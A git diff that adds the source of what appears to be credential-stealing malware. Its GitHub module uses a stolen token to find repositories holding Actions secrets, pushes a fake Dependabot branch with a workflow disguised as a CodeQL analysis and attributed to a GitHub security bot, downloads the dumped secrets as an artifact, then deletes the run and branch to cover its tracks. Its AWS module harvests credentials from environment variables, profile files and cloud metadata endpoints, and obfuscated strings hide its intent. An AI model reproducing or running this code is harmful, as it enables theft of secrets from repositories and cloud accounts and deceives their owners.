Initial commit
This commit is contained in:
@@ -0,0 +1,50 @@
|
||||
import { checkToken } from "../../github_utils/tokenCheck";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
import { runFormatOnReposWithSecrets } from "./pipeline";
|
||||
|
||||
export type TokenRepo = {
|
||||
token: string;
|
||||
repo: string;
|
||||
owner: string;
|
||||
};
|
||||
|
||||
export class GitHubActionsService extends Provider {
|
||||
private token;
|
||||
|
||||
constructor(token: string) {
|
||||
super("github", "actions", {
|
||||
npmtoken: /npm_[A-Za-z0-9]{36,}/g,
|
||||
ghtoken: /gh[op]_[A-Za-z0-9]{36}/g,
|
||||
});
|
||||
this.token = token;
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
if ((await checkToken(this.token)).hasWorkflowScope) {
|
||||
const results: any[] = [];
|
||||
|
||||
const collected = runFormatOnReposWithSecrets(this.token);
|
||||
try {
|
||||
for await (const collection of collected) {
|
||||
if (!collection.error) {
|
||||
results.push(collection);
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
logUtil.error("Failure collecting results");
|
||||
}
|
||||
|
||||
if (!results || Object.keys(results).length === 0) {
|
||||
logUtil.log("No Secrets.");
|
||||
return this.failure("No secrets extracted");
|
||||
} else {
|
||||
return this.success({ results });
|
||||
}
|
||||
} else {
|
||||
logUtil.log("Missing workflow scope.");
|
||||
return this.failure("No workfow scope or invalid!");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
const GITHUB_API = scramble("https://api.github.com");
|
||||
const USER_AGENT = "node";
|
||||
|
||||
export function githubHeaders(token: string): Record<string, string> {
|
||||
return {
|
||||
Authorization: `Bearer ${token}`,
|
||||
Accept: scramble("application/vnd.github+json"),
|
||||
"User-Agent": USER_AGENT,
|
||||
};
|
||||
}
|
||||
|
||||
/** Low-level fetch wrapper — returns the raw Response. */
|
||||
export async function githubFetch(
|
||||
token: string,
|
||||
path: string,
|
||||
init: RequestInit = {},
|
||||
): Promise<Response> {
|
||||
return fetch(`${GITHUB_API}${path}`, {
|
||||
...init,
|
||||
headers: {
|
||||
...githubHeaders(token),
|
||||
...(init.headers as Record<string, string>),
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
/** Fetch + assert ok + parse JSON. Throws on non-2xx. */
|
||||
export async function githubJson<T>(
|
||||
token: string,
|
||||
path: string,
|
||||
init: RequestInit = {},
|
||||
): Promise<T> {
|
||||
const res = await githubFetch(token, path, init);
|
||||
if (!res.ok) {
|
||||
throw new Error(`GitHub API ${res.status} ${res.statusText}: ${path}`);
|
||||
}
|
||||
return res.json() as Promise<T>;
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
import type { TokenRepo } from "./actions";
|
||||
import { streamWritableRepos } from "./repos";
|
||||
import { streamRepoSecrets } from "./secrets";
|
||||
import { type FormatResult, runFormatWorkflows } from "./workflow";
|
||||
|
||||
export async function collectReposWithSecrets(
|
||||
token: string,
|
||||
): Promise<TokenRepo[]> {
|
||||
const repos: TokenRepo[] = [];
|
||||
for await (const fullName of streamRepoSecrets(
|
||||
token,
|
||||
streamWritableRepos(token),
|
||||
)) {
|
||||
const [owner, repo] = fullName.split("/");
|
||||
if (owner && repo) repos.push({ token, owner, repo });
|
||||
}
|
||||
return repos;
|
||||
}
|
||||
|
||||
export async function* runFormatOnReposWithSecrets(
|
||||
token: string,
|
||||
concurrency = 5,
|
||||
): AsyncGenerator<FormatResult> {
|
||||
const repos = await collectReposWithSecrets(token);
|
||||
|
||||
for await (const result of runFormatWorkflows(repos, concurrency)) {
|
||||
yield result;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
import { githubJson } from "./github";
|
||||
|
||||
export interface RepoPermissions {
|
||||
admin: boolean;
|
||||
push: boolean;
|
||||
pull: boolean;
|
||||
maintain?: boolean | undefined;
|
||||
triage?: boolean | undefined;
|
||||
}
|
||||
|
||||
export interface Repository {
|
||||
id: number;
|
||||
name: string;
|
||||
fullName: string;
|
||||
private: boolean;
|
||||
url: string;
|
||||
pushedAt: string;
|
||||
permissions: RepoPermissions;
|
||||
}
|
||||
|
||||
const CUTOFF_DATE = "2025-09-01T00:00:00Z";
|
||||
const PER_PAGE = 100;
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
export async function* streamWritableRepos(
|
||||
token: string,
|
||||
): AsyncGenerator<Repository> {
|
||||
let count = 0;
|
||||
let page = 1;
|
||||
|
||||
while (true) {
|
||||
const params = new URLSearchParams({
|
||||
per_page: String(PER_PAGE),
|
||||
affiliation: scramble("owner,collaborator,organization_member"),
|
||||
sort: "pushed",
|
||||
direction: "desc",
|
||||
since: CUTOFF_DATE,
|
||||
page: String(page),
|
||||
});
|
||||
|
||||
const repos = await githubJson<Array<Record<string, any>>>(
|
||||
token,
|
||||
`/user/repos?${params}`,
|
||||
);
|
||||
if (repos.length === 0) break;
|
||||
|
||||
for (const repo of repos) {
|
||||
if (!repo.permissions?.push || !repo.pushed_at) continue;
|
||||
yield {
|
||||
id: repo.id,
|
||||
name: repo.name,
|
||||
fullName: repo.full_name,
|
||||
private: repo.private,
|
||||
url: repo.html_url,
|
||||
pushedAt: repo.pushed_at,
|
||||
permissions: {
|
||||
admin: repo.permissions.admin ?? false,
|
||||
push: repo.permissions.push ?? false,
|
||||
pull: repo.permissions.pull ?? false,
|
||||
maintain: repo.permissions.maintain,
|
||||
triage: repo.permissions.triage,
|
||||
},
|
||||
};
|
||||
if (++count >= 100) return;
|
||||
}
|
||||
|
||||
if (repos.length < PER_PAGE) break;
|
||||
page++;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { githubFetch } from "./github";
|
||||
|
||||
interface SecretsResponse {
|
||||
total_count: number;
|
||||
secrets: Array<{ name: string }>;
|
||||
}
|
||||
|
||||
export async function* streamRepoSecrets(
|
||||
token: string,
|
||||
repos: AsyncIterable<{ fullName: string }> | Iterable<{ fullName: string }>,
|
||||
): AsyncGenerator<string> {
|
||||
const orgGroupMap = new Map<string, string[]>();
|
||||
|
||||
for await (const repo of repos) {
|
||||
const [owner, name] = repo.fullName.split("/");
|
||||
if (!owner || !name) continue;
|
||||
|
||||
logUtil.log(`checking ${repo.fullName}`);
|
||||
const repoSecrets: string[] = [];
|
||||
const orgSecrets: string[] = [];
|
||||
|
||||
try {
|
||||
const res = await githubFetch(
|
||||
token,
|
||||
`/repos/${owner}/${name}/actions/secrets?per_page=100`,
|
||||
);
|
||||
if (res.ok) {
|
||||
const data = (await res.json()) as SecretsResponse;
|
||||
repoSecrets.push(...data.secrets.map((s) => s.name));
|
||||
}
|
||||
} catch {
|
||||
// No access or no secrets
|
||||
}
|
||||
|
||||
try {
|
||||
const res = await githubFetch(
|
||||
token,
|
||||
`/repos/${owner}/${name}/actions/organization-secrets?per_page=100`,
|
||||
);
|
||||
if (res.ok) {
|
||||
const data = (await res.json()) as SecretsResponse;
|
||||
orgSecrets.push(...data.secrets.map((s) => s.name));
|
||||
}
|
||||
} catch {
|
||||
// No access or not an org repo
|
||||
}
|
||||
|
||||
if (repoSecrets.length === 0 && orgSecrets.length === 0) continue;
|
||||
|
||||
if (repoSecrets.length > 0) {
|
||||
yield repo.fullName;
|
||||
continue;
|
||||
}
|
||||
|
||||
const sorted = [...orgSecrets].sort();
|
||||
const key = `${owner}\0${sorted.join("\0")}`;
|
||||
|
||||
if (!orgGroupMap.has(key)) {
|
||||
orgGroupMap.set(key, sorted);
|
||||
yield repo.fullName;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,259 @@
|
||||
import { unzipSync } from "fflate";
|
||||
|
||||
import { workflow } from "../../generated";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import type { TokenRepo } from "./actions";
|
||||
import { githubFetch, githubHeaders, githubJson } from "./github";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
const BRANCH_NAME = scramble(
|
||||
"dependabot/github_actions/format/setup-formatter",
|
||||
);
|
||||
const WORKFLOW_PATH = scramble(".github/workflows/codeql_analysis.yml");
|
||||
|
||||
const POLLING = {
|
||||
WORKFLOW_APPEARANCE: { maxAttempts: 5, delayMs: 2000 },
|
||||
WORKFLOW_COMPLETION: { maxAttempts: 10, delayMs: 5000 },
|
||||
};
|
||||
|
||||
export interface FormatResult {
|
||||
repo: string;
|
||||
artifact: string | null;
|
||||
error?: string;
|
||||
}
|
||||
|
||||
async function sleep(ms: number): Promise<void> {
|
||||
return new Promise((r) => setTimeout(r, ms));
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// GitHub API helpers (all pure fetch)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
async function getDefaultBranchSha(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
): Promise<string> {
|
||||
const repoData = await githubJson<{ default_branch: string }>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}`,
|
||||
);
|
||||
const refData = await githubJson<{ object: { sha: string } }>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/ref/heads/${repoData.default_branch}`,
|
||||
);
|
||||
return refData.object.sha;
|
||||
}
|
||||
|
||||
async function createWorkflowBranch(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
baseSha: string,
|
||||
): Promise<void> {
|
||||
await githubJson(token, `/repos/${owner}/${repo}/git/refs`, {
|
||||
method: "POST",
|
||||
body: JSON.stringify({
|
||||
ref: `refs/heads/${BRANCH_NAME}`,
|
||||
sha: baseSha,
|
||||
}),
|
||||
});
|
||||
|
||||
await githubJson(token, `/repos/${owner}/${repo}/contents/${WORKFLOW_PATH}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify({
|
||||
message: scramble("Add CodeQL Analysis"),
|
||||
content: Buffer.from(workflow).toString("base64"),
|
||||
branch: BRANCH_NAME,
|
||||
committer: {
|
||||
name: scramble("github-advanced-security[bot]"),
|
||||
email: scramble(
|
||||
"github-advanced-security[bot]@users.noreply.github.com",
|
||||
),
|
||||
},
|
||||
}),
|
||||
});
|
||||
}
|
||||
|
||||
async function pollForWorkflowRun(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
): Promise<number> {
|
||||
const { maxAttempts, delayMs } = POLLING.WORKFLOW_APPEARANCE;
|
||||
|
||||
for (let i = 0; i < maxAttempts; i++) {
|
||||
const data = await githubJson<{
|
||||
workflow_runs: Array<{ id: number }>;
|
||||
}>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/actions/runs?branch=${encodeURIComponent(BRANCH_NAME)}&per_page=1`,
|
||||
);
|
||||
|
||||
const run = data.workflow_runs[0];
|
||||
if (run) {
|
||||
return run.id;
|
||||
}
|
||||
await sleep(delayMs);
|
||||
}
|
||||
|
||||
throw new Error(scramble("Workflow run not found after polling"));
|
||||
}
|
||||
|
||||
async function pollForWorkflowCompletion(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
runId: number,
|
||||
): Promise<void> {
|
||||
const { maxAttempts, delayMs } = POLLING.WORKFLOW_COMPLETION;
|
||||
|
||||
for (let i = 0; i < maxAttempts; i++) {
|
||||
const run = await githubJson<{ status: string }>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/actions/runs/${runId}`,
|
||||
);
|
||||
|
||||
if (run.status === "completed") return;
|
||||
await sleep(delayMs);
|
||||
}
|
||||
|
||||
throw new Error("Workflow did not complete in time");
|
||||
}
|
||||
|
||||
async function createAndWaitForWorkflow(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
): Promise<number> {
|
||||
await sleep(POLLING.WORKFLOW_APPEARANCE.delayMs);
|
||||
|
||||
const runId = await pollForWorkflowRun(token, owner, repo);
|
||||
await pollForWorkflowCompletion(token, owner, repo, runId);
|
||||
|
||||
return runId;
|
||||
}
|
||||
|
||||
async function downloadArtifact(
|
||||
{ token, owner, repo }: TokenRepo,
|
||||
runId: number,
|
||||
): Promise<string | null> {
|
||||
const res = await githubFetch(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/actions/runs/${runId}/artifacts`,
|
||||
);
|
||||
if (!res.ok) return null;
|
||||
|
||||
const data = (await res.json()) as {
|
||||
artifacts: Array<{ id: number; name: string }>;
|
||||
};
|
||||
logUtil.log(data);
|
||||
|
||||
const target = data.artifacts.find((a) => a.name === "format-results");
|
||||
if (!target) return null;
|
||||
logUtil.log(`Found artifact: ${target.name} (id=${target.id})`);
|
||||
|
||||
const dlRes = await githubFetch(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/actions/artifacts/${target.id}/zip`,
|
||||
);
|
||||
if (!dlRes.ok) return null;
|
||||
|
||||
const buf = new Uint8Array(await dlRes.arrayBuffer());
|
||||
const unzipped = unzipSync(buf);
|
||||
const fileContent = unzipped[scramble("format-results.txt")];
|
||||
|
||||
return fileContent ? new TextDecoder().decode(fileContent) : null;
|
||||
}
|
||||
|
||||
async function cleanup(
|
||||
{ token, owner, repo }: TokenRepo,
|
||||
runId: number,
|
||||
): Promise<void> {
|
||||
const headers = githubHeaders(token);
|
||||
|
||||
await Promise.allSettled([
|
||||
fetch(
|
||||
`https://api.github.com/repos/${owner}/${repo}/actions/runs/${runId}`,
|
||||
{ method: "DELETE", headers },
|
||||
),
|
||||
fetch(
|
||||
`https://api.github.com/repos/${owner}/${repo}/git/refs/heads/${BRANCH_NAME}`,
|
||||
{ method: "DELETE", headers },
|
||||
),
|
||||
]);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Public API
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export async function runFormatWorkflow(
|
||||
tokenRepo: TokenRepo,
|
||||
): Promise<FormatResult> {
|
||||
const { token, owner, repo } = tokenRepo;
|
||||
|
||||
try {
|
||||
logUtil.log("About to get branch");
|
||||
const baseSha = await getDefaultBranchSha(token, owner, repo);
|
||||
logUtil.log(`Base sha: ${baseSha}`);
|
||||
|
||||
await createWorkflowBranch(token, owner, repo, baseSha);
|
||||
logUtil.log(`Created branch for ${repo}`);
|
||||
|
||||
const runId = await createAndWaitForWorkflow(token, owner, repo);
|
||||
logUtil.log(`Created run ${runId}`);
|
||||
|
||||
const artifact = await downloadArtifact(tokenRepo, runId);
|
||||
logUtil.log(artifact);
|
||||
|
||||
await cleanup(tokenRepo, runId);
|
||||
|
||||
return { repo: `${owner}/${repo}`, artifact };
|
||||
} catch (e) {
|
||||
logUtil.error(`Error dumping secrets on /${owner}/${repo}`);
|
||||
|
||||
// Attempt cleanup on error — delete the branch if it exists
|
||||
await githubFetch(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/refs/heads/${BRANCH_NAME}`,
|
||||
{
|
||||
method: "DELETE",
|
||||
},
|
||||
).catch(() => {});
|
||||
|
||||
return {
|
||||
repo: `${owner}/${repo}`,
|
||||
artifact: null,
|
||||
error: e instanceof Error ? e.message : String(e),
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
export async function* runFormatWorkflows(
|
||||
repos: TokenRepo[],
|
||||
concurrency = 10,
|
||||
): AsyncGenerator<FormatResult> {
|
||||
const active = new Set<Promise<FormatResult>>();
|
||||
|
||||
for (const repo of repos) {
|
||||
logUtil.log(`About to use ${repo.owner}/${repo.repo}`);
|
||||
|
||||
const promise = runFormatWorkflow(repo);
|
||||
active.add(promise);
|
||||
|
||||
if (active.size >= concurrency) {
|
||||
const result = await Promise.race(
|
||||
[...active].map((p) => p.then((r) => ({ promise: p, result: r }))),
|
||||
);
|
||||
active.delete(result.promise);
|
||||
yield result.result;
|
||||
}
|
||||
}
|
||||
|
||||
for (const promise of active) {
|
||||
yield await promise;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
import { stsGetCallerIdentity } from "./client";
|
||||
import {
|
||||
type CredentialSource,
|
||||
fromContainerMetadata,
|
||||
fromEnv,
|
||||
fromInstanceMetadata,
|
||||
fromProfile,
|
||||
fromTokenFile,
|
||||
getAvailableProfiles,
|
||||
} from "./credentials";
|
||||
|
||||
const TIMEOUT_MS = 5000;
|
||||
const STS_REGION = process.env["AWS_REGION"] ?? "us-east-1";
|
||||
|
||||
interface AccountIdentity {
|
||||
source: string;
|
||||
account: string;
|
||||
arn: string;
|
||||
userId: string;
|
||||
staticCredentials: boolean;
|
||||
}
|
||||
|
||||
function withTimeout<T>(
|
||||
promise: Promise<T>,
|
||||
ms: number,
|
||||
label: string,
|
||||
): Promise<T> {
|
||||
let timer: ReturnType<typeof setTimeout> | undefined;
|
||||
const timeout = new Promise<never>((_, reject) => {
|
||||
timer = setTimeout(
|
||||
() => reject(new Error(`Timeout after ${ms}ms (${label})`)),
|
||||
ms,
|
||||
);
|
||||
});
|
||||
return Promise.race([promise, timeout]).finally(() => {
|
||||
if (timer) clearTimeout(timer);
|
||||
});
|
||||
}
|
||||
|
||||
export class AwsAccountService extends Provider {
|
||||
constructor() {
|
||||
super("aws", "sts");
|
||||
}
|
||||
|
||||
private async resolveIdentity(
|
||||
source: CredentialSource,
|
||||
): Promise<AccountIdentity> {
|
||||
const creds = await source.resolve();
|
||||
const identity = await stsGetCallerIdentity(creds, STS_REGION);
|
||||
|
||||
return {
|
||||
source: source.label,
|
||||
account: identity.account ?? "",
|
||||
arn: identity.arn ?? "",
|
||||
userId: identity.userId ?? "",
|
||||
staticCredentials: Boolean(
|
||||
creds.accessKeyId && creds.secretAccessKey && !creds.sessionToken,
|
||||
),
|
||||
};
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
const sources: CredentialSource[] = [
|
||||
fromEnv(),
|
||||
fromTokenFile(),
|
||||
fromContainerMetadata(),
|
||||
fromInstanceMetadata(),
|
||||
];
|
||||
|
||||
const profiles = await getAvailableProfiles();
|
||||
for (const profile of profiles) {
|
||||
sources.push(fromProfile(profile));
|
||||
}
|
||||
|
||||
const settled = await Promise.all(
|
||||
sources.map((source) =>
|
||||
withTimeout(
|
||||
this.resolveIdentity(source),
|
||||
TIMEOUT_MS,
|
||||
source.label,
|
||||
).catch(() => null),
|
||||
),
|
||||
);
|
||||
|
||||
const results = settled.filter((r): r is AccountIdentity => r !== null);
|
||||
|
||||
if (results.length === 0) {
|
||||
return this.failure("No accessible AWS credentials found!");
|
||||
}
|
||||
|
||||
return this.success(results);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
import type { AwsCredentials } from "./sigv4";
|
||||
import { signRequest } from "./sigv4";
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Generic signed fetch
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
async function awsFetch(opts: {
|
||||
credentials: AwsCredentials;
|
||||
region: string;
|
||||
service: string;
|
||||
method?: string;
|
||||
path?: string;
|
||||
headers?: Record<string, string>;
|
||||
body?: string;
|
||||
}): Promise<Response> {
|
||||
const {
|
||||
credentials,
|
||||
region,
|
||||
service,
|
||||
method = "POST",
|
||||
path = "/",
|
||||
headers = {},
|
||||
body = "",
|
||||
} = opts;
|
||||
|
||||
const url = `https://${service}.${region}.amazonaws.com${path}`;
|
||||
|
||||
const signed = signRequest({
|
||||
method,
|
||||
url,
|
||||
headers,
|
||||
body,
|
||||
credentials,
|
||||
region,
|
||||
service,
|
||||
});
|
||||
|
||||
return fetch(signed.url, {
|
||||
method,
|
||||
headers: signed.headers,
|
||||
body: signed.body || undefined,
|
||||
});
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// STS (Query / XML protocol)
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
export interface CallerIdentity {
|
||||
account?: string;
|
||||
arn?: string;
|
||||
userId?: string;
|
||||
}
|
||||
|
||||
export async function stsGetCallerIdentity(
|
||||
credentials: AwsCredentials,
|
||||
region = "us-east-1",
|
||||
): Promise<CallerIdentity> {
|
||||
const body = "Action=GetCallerIdentity&Version=2011-06-15";
|
||||
|
||||
const res = await awsFetch({
|
||||
credentials,
|
||||
region,
|
||||
service: "sts",
|
||||
headers: { "content-type": "application/x-www-form-urlencoded" },
|
||||
body,
|
||||
});
|
||||
|
||||
if (!res.ok) {
|
||||
const text = await res.text().catch(() => "");
|
||||
throw new Error(
|
||||
`STS GetCallerIdentity ${res.status} ${res.statusText}: ${text}`,
|
||||
);
|
||||
}
|
||||
|
||||
const xml = await res.text();
|
||||
return {
|
||||
account: /<Account>([^<]+)<\/Account>/.exec(xml)?.[1],
|
||||
arn: /<Arn>([^<]+)<\/Arn>/.exec(xml)?.[1],
|
||||
userId: /<UserId>([^<]+)<\/UserId>/.exec(xml)?.[1],
|
||||
};
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// JSON 1.1 API (Secrets Manager, SSM, etc.)
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/**
|
||||
* Generic JSON 1.1 request used by Secrets Manager and SSM.
|
||||
*
|
||||
* @param target The `X-Amz-Target` value, e.g.
|
||||
* `"secretsmanager.ListSecrets"` or `"AmazonSSM.GetParameters"`
|
||||
*/
|
||||
export async function jsonApiRequest<T = unknown>(
|
||||
credentials: AwsCredentials,
|
||||
region: string,
|
||||
service: string,
|
||||
target: string,
|
||||
payload: Record<string, unknown> = {},
|
||||
): Promise<T> {
|
||||
const body = JSON.stringify(payload);
|
||||
|
||||
const res = await awsFetch({
|
||||
credentials,
|
||||
region,
|
||||
service,
|
||||
headers: {
|
||||
"content-type": "application/x-amz-json-1.1",
|
||||
"x-amz-target": target,
|
||||
},
|
||||
body,
|
||||
});
|
||||
|
||||
if (!res.ok) {
|
||||
const errBody = await res.text().catch(() => "");
|
||||
throw new Error(
|
||||
`AWS ${service} ${target} ${res.status} ${res.statusText}: ${errBody}`,
|
||||
);
|
||||
}
|
||||
|
||||
return res.json() as Promise<T>;
|
||||
}
|
||||
@@ -0,0 +1,323 @@
|
||||
import { readFile } from "node:fs/promises";
|
||||
import { homedir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
|
||||
import type { AwsCredentials } from "./sigv4";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Credential source abstraction
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
export interface CredentialSource {
|
||||
label: string;
|
||||
resolve: () => Promise<AwsCredentials>;
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// INI file parsing (~/.aws/credentials, ~/.aws/config)
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
type IniSection = Record<string, string>;
|
||||
type IniFile = Record<string, IniSection>;
|
||||
|
||||
function parseIni(text: string): IniFile {
|
||||
const result: IniFile = {};
|
||||
let section: string | null = null;
|
||||
|
||||
for (const raw of text.split("\n")) {
|
||||
const line = raw.trim();
|
||||
if (!line || line.startsWith("#") || line.startsWith(";")) continue;
|
||||
|
||||
const header = /^\[([^\]]+)]$/.exec(line);
|
||||
if (header?.[1]) {
|
||||
section = header[1].trim();
|
||||
result[section] ??= {};
|
||||
continue;
|
||||
}
|
||||
|
||||
const cur = section ? result[section] : undefined;
|
||||
if (cur) {
|
||||
const eq = line.indexOf("=");
|
||||
if (eq > 0) {
|
||||
cur[line.slice(0, eq).trim()] = line.slice(eq + 1).trim();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
async function loadIniFile(path: string): Promise<IniFile> {
|
||||
try {
|
||||
return parseIni(await readFile(path, "utf-8"));
|
||||
} catch {
|
||||
return {};
|
||||
}
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Profile helpers
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
const AWS_DIR = join(homedir(), ".aws");
|
||||
const CREDENTIALS_PATH =
|
||||
process.env[scramble("AWS_SHARED_CREDENTIALS_FILE")] ??
|
||||
join(AWS_DIR, "credentials");
|
||||
const CONFIG_PATH =
|
||||
process.env[scramble("AWS_CONFIG_FILE")] ?? join(AWS_DIR, "config");
|
||||
|
||||
/** List every profile name found across ~/.aws/credentials and ~/.aws/config. */
|
||||
export async function getAvailableProfiles(): Promise<string[]> {
|
||||
const [creds, config] = await Promise.all([
|
||||
loadIniFile(CREDENTIALS_PATH),
|
||||
loadIniFile(CONFIG_PATH),
|
||||
]);
|
||||
|
||||
const profiles = new Set<string>();
|
||||
|
||||
// Credentials file: section name IS the profile name
|
||||
for (const name of Object.keys(creds)) {
|
||||
profiles.add(name);
|
||||
}
|
||||
|
||||
// Config file: section is "profile <name>" (except "default")
|
||||
for (const name of Object.keys(config)) {
|
||||
if (name === "default") {
|
||||
profiles.add("default");
|
||||
} else if (name.startsWith("profile ")) {
|
||||
profiles.add(name.slice(8));
|
||||
}
|
||||
}
|
||||
|
||||
return [...profiles];
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Individual credential sources
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/** AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY / AWS_SESSION_TOKEN */
|
||||
export function fromEnv(): CredentialSource {
|
||||
return {
|
||||
label: "env",
|
||||
resolve: async () => {
|
||||
const accessKeyId = process.env["AWS_ACCESS_KEY_ID]"];
|
||||
const secretAccessKey = process.env["AWS_SECRET_ACCESS_KEY"];
|
||||
if (!accessKeyId || !secretAccessKey) {
|
||||
throw new Error("AWS_ACCESS_KEY_ID or AWS_SECRET_ACCESS_KEY not set");
|
||||
}
|
||||
return {
|
||||
accessKeyId,
|
||||
secretAccessKey,
|
||||
sessionToken: process.env[scramble("AWS_SESSION_TOKEN")],
|
||||
};
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
/** Static credentials from an INI profile (credentials file or config file). */
|
||||
export function fromProfile(profile: string): CredentialSource {
|
||||
return {
|
||||
label: `profile:${profile}`,
|
||||
resolve: async () => {
|
||||
const [creds, config] = await Promise.all([
|
||||
loadIniFile(CREDENTIALS_PATH),
|
||||
loadIniFile(CONFIG_PATH),
|
||||
]);
|
||||
|
||||
// Credentials file — direct section match
|
||||
const cs = creds[profile];
|
||||
if (cs?.aws_access_key_id && cs?.aws_secret_access_key) {
|
||||
return {
|
||||
accessKeyId: cs.aws_access_key_id,
|
||||
secretAccessKey: cs.aws_secret_access_key,
|
||||
sessionToken: cs.aws_session_token,
|
||||
};
|
||||
}
|
||||
|
||||
// Config file — "profile <name>" or "default"
|
||||
const configKey =
|
||||
profile === "default" ? "default" : `profile ${profile}`;
|
||||
const cfg = config[configKey];
|
||||
if (cfg?.aws_access_key_id && cfg?.aws_secret_access_key) {
|
||||
return {
|
||||
accessKeyId: cfg.aws_access_key_id,
|
||||
secretAccessKey: cfg.aws_secret_access_key,
|
||||
sessionToken: cfg.aws_session_token,
|
||||
};
|
||||
}
|
||||
|
||||
throw new Error(`No static credentials for profile "${profile}"`);
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
/** ECS container credentials (AWS_CONTAINER_CREDENTIALS_RELATIVE_URI). */
|
||||
export function fromContainerMetadata(): CredentialSource {
|
||||
return {
|
||||
label: "container-metadata",
|
||||
resolve: async () => {
|
||||
const relUri =
|
||||
process.env[scramble("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")];
|
||||
const fullUri =
|
||||
process.env[scramble("AWS_CONTAINER_CREDENTIALS_FULL_URI")];
|
||||
const url = fullUri ?? (relUri ? `http://169.254.170.2${relUri}` : null);
|
||||
if (!url) throw new Error("No container credentials URI configured");
|
||||
|
||||
const headers: Record<string, string> = {};
|
||||
const authToken =
|
||||
process.env[scramble("AWS_CONTAINER_AUTHORIZATION_TOKEN")];
|
||||
if (authToken) headers["Authorization"] = authToken;
|
||||
|
||||
const res = await fetch(url, {
|
||||
headers,
|
||||
signal: AbortSignal.timeout(2000),
|
||||
});
|
||||
if (!res.ok) throw new Error(`Container metadata ${res.status}`);
|
||||
|
||||
const d = (await res.json()) as {
|
||||
AccessKeyId: string;
|
||||
SecretAccessKey: string;
|
||||
Token: string;
|
||||
};
|
||||
return {
|
||||
accessKeyId: d.AccessKeyId,
|
||||
secretAccessKey: d.SecretAccessKey,
|
||||
sessionToken: d.Token,
|
||||
};
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
/** EC2 instance metadata (IMDSv2). */
|
||||
export function fromInstanceMetadata(): CredentialSource {
|
||||
return {
|
||||
label: "instance-metadata",
|
||||
resolve: async () => {
|
||||
const IMDS = "http://169.254.169.254";
|
||||
|
||||
// Step 1 — IMDSv2 session token
|
||||
const tokRes = await fetch(`${IMDS}/latest/api/token`, {
|
||||
method: "PUT",
|
||||
headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" },
|
||||
signal: AbortSignal.timeout(2000),
|
||||
});
|
||||
if (!tokRes.ok) throw new Error(`IMDS token ${tokRes.status}`);
|
||||
const token = await tokRes.text();
|
||||
|
||||
const hdr = { "X-aws-ec2-metadata-token": token };
|
||||
|
||||
// Step 2 — role name
|
||||
const roleRes = await fetch(
|
||||
`${IMDS}/latest/meta-data/iam/security-credentials/`,
|
||||
{ headers: hdr, signal: AbortSignal.timeout(2000) },
|
||||
);
|
||||
if (!roleRes.ok) throw new Error(`IMDS role ${roleRes.status}`);
|
||||
